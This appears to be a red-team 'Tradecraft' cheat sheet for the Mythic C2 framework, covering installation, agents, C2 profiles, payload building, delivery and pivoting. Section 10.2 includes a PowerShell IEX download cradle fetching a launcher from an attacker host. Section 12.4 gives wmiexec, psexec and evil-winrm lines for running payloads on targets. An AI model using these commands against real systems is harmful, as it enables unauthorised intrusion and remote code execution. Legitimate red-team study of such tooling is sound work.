ᛉ Yggdrasil

Tradecraft

Mythic C2

15 Sep 2026 · 2,787 words · 13 min

Contents

Legend: [SERVER] = Run on the Mythic server host | [CLIENT] = Run in the Mythic web UI | [AGENT] = Run inside an active Mythic callback | [HOST] = Run on attacker host OS


1. What is Mythic

What it means: Mythic is a collaborative, multi-platform, post-exploitation red teaming framework built around Docker containers, a browser-based operator interface, installable payload types, and installable C2 profiles. The project documentation explains that Mythic itself does not ship with payload types or C2 profiles by default, and instead you add them separately through mythic-cli.

Operator Browser UI
 │
 ▼
 Mythic Core Services
 (Nginx / Mythic Server / GraphQL / RabbitMQ / Postgres / Jupyter)
 │
 ├── Payload Type Containers
 └── C2 Profile Containers
 │
 ▼
 Target Callback / Agent

Mythic vs Sliver / Havoc / Empire

Feature Mythic Sliver Havoc Empire
Interface Web UI CLI GUI client GUI + CLI
Architecture Containerized microservices Server/client Teamserver/client Server/REST client
Agents included by default No Yes Yes Yes
C2 profiles included by default No Built-in transports Built-in listeners Built-in listeners
Extensibility High: payloads, C2 profiles, logging, webhooks Armory Extensions Modules

Key Concepts

Term Meaning
Payload Type A Mythic agent/implant packaged as its own containerized service
C2 Profile The communication method an agent uses to talk to Mythic; each runs in its own Docker container
Callback An active checked-in agent session inside Mythic
Operation Collaborative workspace for operators in Mythic
mythic-cli Main management tool used to start, stop, install, update, and inspect Mythic
RabbitMQ Internal broker used by services/containers to receive and coordinate tasking

2. Setting Up Mythic

What it means: Mythic is designed to run on Linux with Docker and the Docker Compose plugin, and the docs recommend at least 2 CPU and 4 GB RAM. The installation starts by cloning the main repo, building mythic-cli, configuring .env, and starting the service stack.

2.1 Clone Mythic

git clone https://github.com/its-a-feature/Mythic --depth 1 --single-branch
cd Mythic

2.2 Docker Requirements

# Check Docker version
sudo docker version

Notes from the docs: - Docker server version should be 20.10.22 or above. - Mythic is normally installed on Linux. - On macOS, the docs say to use OrbStack instead of Docker Desktop because host networking is needed for C2 containers.

2.3 Build mythic-cli

sudo make

For macOS:

sudo make macos

The docs say the mythic-cli binary is no longer distributed with the main repo and must be built from the main Mythic folder with sudo make.

2.4 Generate / Configure .env

sudo ./mythic-cli status
# or
sudo ./mythic-cli start

This creates Mythic/.env if it does not already exist, and Mythic uses that file for configuration.

2.5 Start Mythic

sudo ./mythic-cli start

Useful lifecycle commands:

sudo ./mythic-cli stop
sudo ./mythic-cli restart
sudo ./mythic-cli status
sudo ./mythic-cli logs mythic_server

3. Mythic Architecture

What it means: Mythic is composed of multiple core containers plus separate agent and C2 profile containers. The installation docs explicitly identify Nginx, Mythic backend server, Hasura GraphQL, Jupyter, RabbitMQ, Postgres, and documentation as part of the main service layout.

3.1 Core Services

Service Purpose
mythic_nginx Reverse proxy and main web entry point
mythic_server Main backend server
mythic_graphql GraphQL console/service
mythic_rabbitmq Internal message broker
mythic_postgres Database backend
mythic_jupyter Jupyter console for scripting/automation
mythic_documentation Local documentation server

3.2 Important Ports

Port Purpose
7443 Nginx / Mythic web UI
17443 Mythic backend server
17444 Mythic gRPC port
8080 Hasura GraphQL
8888 Jupyter
8090 Internal docs
5672 RabbitMQ
5432 Postgres

3.3 Default Access Model

The docs state that NGINX_PORT is the main external port for the web UI, and that most other services bind locally by default rather than being exposed externally. They also note that *_BIND_LOCALHOST_ONLY settings control whether specific services bind to 127.0.0.1 or 0.0.0.0.


4. Installing Agents & C2 Profiles

What it means: Mythic starts with no payload types and no C2 profiles installed, so you must add at least one of each before you can generate payloads. The docs explicitly state that you cannot create payloads until you have at least one agent and a matching C2 profile installed.

4.1 Install a Payload Type

sudo ./mythic-cli install github https://github.com/MythicAgents/apfell

The Mythic repo overview explains that agents are installed from separate GitHub repositories rather than being bundled with Mythic core.

4.2 Install a C2 Profile

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

4.3 Force Overwrite During Reinstall

sudo ./mythic-cli install github https://github.com/MythicAgents/apfell -f
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http -f

4.4 List / Inspect Services

sudo ./mythic-cli services
sudo ./mythic-cli status
sudo ./mythic-cli health

4.5 Update Installed Services

sudo ./mythic-cli update

5. Payload Creation

What it means: Payloads in Mythic are created only after you install a compatible payload type and C2 profile. The web UI allows you to combine an agent with a specific C2 profile configuration, and Mythic stores these as container-backed services.

5.1 General Flow

1. Install agent container
2. Install matching C2 profile container
3. Open Mythic web UI
4. Go to Payload Types and C2 Profiles
5. Configure payload parameters
6. Build payload
7. Deliver payload to target

5.2 Example Build Dependencies

Payload generation depends on: - Installed payload type container. - Installed compatible C2 profile. - Operational Mythic core services.

5.3 Common C2 Profile Pairing Example

sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

5.4 UI Location

The docs say C2 profiles are visible from the “Payload Types and C2 Profiles” section in the top navigation bar.


6. Callbacks & Operators

What it means: Mythic is built for collaborative operations, so operator activity is organized inside operations, and active agents appear as callbacks once they check in. The docs also note that if you are not inside an active operation, Mythic cannot provide data for your session.

6.1 Default Admin User

Username: mythic_admin
Password: randomly generated in Mythic/.env on first startup

The installation docs state that mythic_admin is the default username and its initial password is randomly generated when Mythic first starts.

6.2 Operation Context

You must select a current operation in the UI.
Without an active operation, Mythic’s websocket-driven UI will not provide data. 

6.3 Callback Concept

Agent executes on target
 │
 ▼
C2 Profile transports traffic
 │
 ▼
Mythic registers a callback in the operation

6.4 Collaborative Model

Mythic describes itself as a collaborative red teaming framework, meaning multiple operators can work within the same operation and share data such as callbacks, files, credentials, and tasking results.


7. Tasks, Responses, and Jobs

What it means: Mythic routes tasking and responses through service containers and RabbitMQ, and the framework tracks task lifecycle events such as task_new and task_completed. The logging section in the docs explicitly lists these event types.

7.1 Logged Task Events

Event Meaning
task_new New task created
task_completed Task finished
task_comment Task comment added/edited/removed
response_new New response visible to operator
task_mitre_attack Task associated with ATT&CK technique

7.2 General Task Flow

Operator creates task
 │
 ▼
Mythic routes tasking to service/container
 │
 ▼
C2 profile + payload type coordinate with callback
 │
 ▼
Response returns to Mythic UI

7.3 RabbitMQ Role

The C2 profile docs state that each C2 profile container runs a Python or Go service that connects to RabbitMQ to receive tasking and perform actions across containers.


8. Files, Credentials, and Logging

What it means: Mythic tracks uploaded files, downloaded files, screenshots, credentials, and many other operation artifacts as structured events. The docs list these logging event categories and also describe the optional basic_logger profile for SIEM-style logging.

8.1 File Events

Event Meaning
file_upload File staged on Mythic for tasking
file_manual_upload File manually hosted/uploaded
file_screenshot Screenshot received from agent
file_download File downloaded from agent to Mythic

8.2 Credential / Callback Events

Event Meaning
credential_new New credential added
credential_modified Credential updated
callback_new New callback registered
keylog_new New keylog entry

8.3 Install the Basic Logger

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/basic_logger

The docs explain that basic_logger listens on the emit_log RabbitMQ queue and can be modified to send events to stdout, files, or a SIEM.

8.4 Rebuild the Logger After Changes

sudo ./mythic-cli build basic_logger

9. C2 Profiles

What it means: In Mythic, C2 profiles define how callbacks communicate with the Mythic server, and each profile has two pieces: server-side code in a container and agent-side code in the callback. The documentation says every C2 profile runs in its own Docker container and exposes profile-specific traffic flow and OPSEC docs through the local documentation site.

9.1 C2 Profile Structure

Component Role
Server code Converts the profile’s communication method into Mythic REST-style endpoints
Agent code Implements the same C2 behavior on the target callback

9.2 Where to Find Them

Top navigation bar → Payload Types and C2 Profiles

This path is explicitly documented in the C2 profile overview.

9.3 How They Work

Each C2 profile: - Runs in its own Docker container. - Has a Python or Go service connected to RabbitMQ. - Can expose local documentation with profile-specific OPSEC notes.

9.4 Example Install Commands

sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/smb
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/github

The GitHub-based install format is the documented standard for C2 profile installation.


10. Initial Access — Delivery

What it means: Mythic itself is the post-exploitation / C2 framework, so initial access still comes from phishing, exploitation, credential abuse, or another loader. After access, you deploy a Mythic-generated payload that matches the installed agent and C2 profile.

10.1 Build Then Deliver

1. Install agent + C2 profile
2. Build payload in Mythic
3. Deliver via:
 - phishing attachment
 - shell access / RCE
 - SMB dropper
 - LOLBin download cradle
4. Wait for callback

10.2 Example Host-and-Run Flow

python3 -m http.server 8080
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>:8080/launcher.ps1')"

10.3 Validate Callback

Open the active operation in Mythic
Look for a new callback registration in the UI

Callback registration is tracked as callback_new in Mythic logging.


11. Privilege Escalation

What it means: Mythic does not impose one universal privilege escalation workflow because capabilities come from the installed payload type and supported commands/modules. In practice, privesc depends on which Mythic agent you installed and which commands that agent exposes.

11.1 General Workflow

Low-priv callback
 │
 ├── situational awareness
 ├── token / process / service abuse
 ├── execute external tooling
 └── return results to Mythic

11.2 Practical Reality

Because Mythic separates core, payload types, and C2 profiles, the exact privilege escalation commands are agent-specific rather than universal. The docs emphasize that Mythic core installs no payload types by default, so functionality comes from whatever agent repository you install.

11.3 Common Agent-Driven Options

Depending on agent:
- token manipulation
- service abuse
- UAC bypass helpers
- .NET assembly execution
- BOF / PE tasking

12. Lateral Movement & Pivoting

What it means: Like privilege escalation, lateral movement in Mythic depends on the installed payload type and C2 profile, but Mythic does support alternate communication paths through different C2 profiles such as SMB and GitHub. The SMB profile repo describes named-pipe P2P communications, and Mythic’s design allows different transports to be installed separately.

12.1 Alternate C2 Transports

Examples:
- HTTP
- SMB
- GitHub
- Other custom profiles

These profiles are installed independently and run as their own containers.

12.2 SMB Example

The Mythic SMB C2 profile repository describes SMB-based peer-to-peer communications using named pipes.

12.3 General Pivot Model

External callback
 │
 ▼
Alternative C2 profile / P2P channel
 │
 ▼
Internal host callback

12.4 Delivery for Lateral Callbacks

wmiexec.py lab.local/user:Pass123!@<TARGET_IP> "<payload launcher>"
psexec.py lab.local/user:Pass123!@<TARGET_IP> "<payload launcher>"
evil-winrm -i <TARGET_IP> -u user -p 'Pass123!'

13. Automation & Scripting

What it means: Mythic includes a Jupyter container and exposes a structured CLI plus service/container model that is well suited for automation. The installation docs list mythic_jupyter as a core service, and the mythic-cli command set includes install, build, test, logs, backup, restore, and health operations.

13.1 Jupyter Service

Jupyter Console: http://127.0.0.1:8888 by default 

13.2 Useful CLI Commands

sudo ./mythic-cli help
sudo ./mythic-cli status
sudo ./mythic-cli services
sudo ./mythic-cli logs mythic_server
sudo ./mythic-cli test
sudo ./mythic-cli backup
sudo ./mythic-cli restore

13.3 Why Automation Fits Mythic

Mythic’s containerized design, service separation, logging hooks, and Jupyter integration make it especially friendly for scripted operations, repeatable lab setups, and custom workflow tooling.


14. Detection & OPSEC

What it means: Mythic’s OPSEC characteristics depend heavily on the chosen payload type and C2 profile, because Mythic core only provides the platform. The C2 profile documentation explicitly says the local documentation container provides profile-specific OPSEC and traffic-flow guidance for each installed profile.

14.1 Key OPSEC Reality

Mythic core ≠ one fixed traffic pattern
Detection depends on:
- payload type
- C2 profile
- hosting choices
- operator behavior

This flexibility is one of Mythic’s strengths, but it also means defenders may detect the chosen agent/profile rather than Mythic itself.

14.2 Exposure Considerations

The docs note: - NGINX_PORT is the main web UI port to expose. - Most other services bind locally by default. - If running remote services, you may need RABBITMQ_BIND_LOCALHOST_ONLY=false and MYTHIC_SERVER_BIND_LOCALHOST_ONLY=false.

14.3 Useful Troubleshooting / Exposure Checks

sudo ./mythic-cli status
sudo ./mythic-cli health
sudo ./mythic-cli logs mythic_nginx
sudo ./mythic-cli logs mythic_server

14.4 Browser-Side Debugging

The install docs recommend checking browser developer tools and the network tab if the UI appears broken or empty. They also note that lack of an active operation can make the interface appear to have no data.


15. Master Cheat Sheet

Install & Start

git clone https://github.com/its-a-feature/Mythic --depth 1 --single-branch
cd Mythic
sudo make
sudo ./mythic-cli start

Status & Logs

sudo ./mythic-cli status
sudo ./mythic-cli health
sudo ./mythic-cli logs mythic_server
sudo ./mythic-cli logs mythic_nginx

Install Agent + C2 Profile

sudo ./mythic-cli install github https://github.com/MythicAgents/apfell
sudo ./mythic-cli install github https://github.com/MythicC2Profiles/http

Useful CLI

sudo ./mythic-cli services
sudo ./mythic-cli test
sudo ./mythic-cli update
sudo ./mythic-cli stop
sudo ./mythic-cli restart

Core Defaults

Web UI: https://<server>:7443
Default username: mythic_admin
Initial password: stored in Mythic/.env after first start

Decision Tree

Fresh Mythic install?
│
├── Build mythic-cli
├── Start Mythic
├── Confirm containers are healthy
│
├── Install at least one payload type
├── Install at least one matching C2 profile
│
├── Open web UI on port 7443
├── Select an active operation
├── Build payload
│
├── Deliver payload to target
├── Wait for callback
│
├── Task callback
│ ├── file ops
│ ├── recon
│ ├── privesc (agent-specific)
│ └── lateral movement / pivoting (agent + C2 specific)
│
└── Log, automate, and export data as needed

← Tradecraft top ↑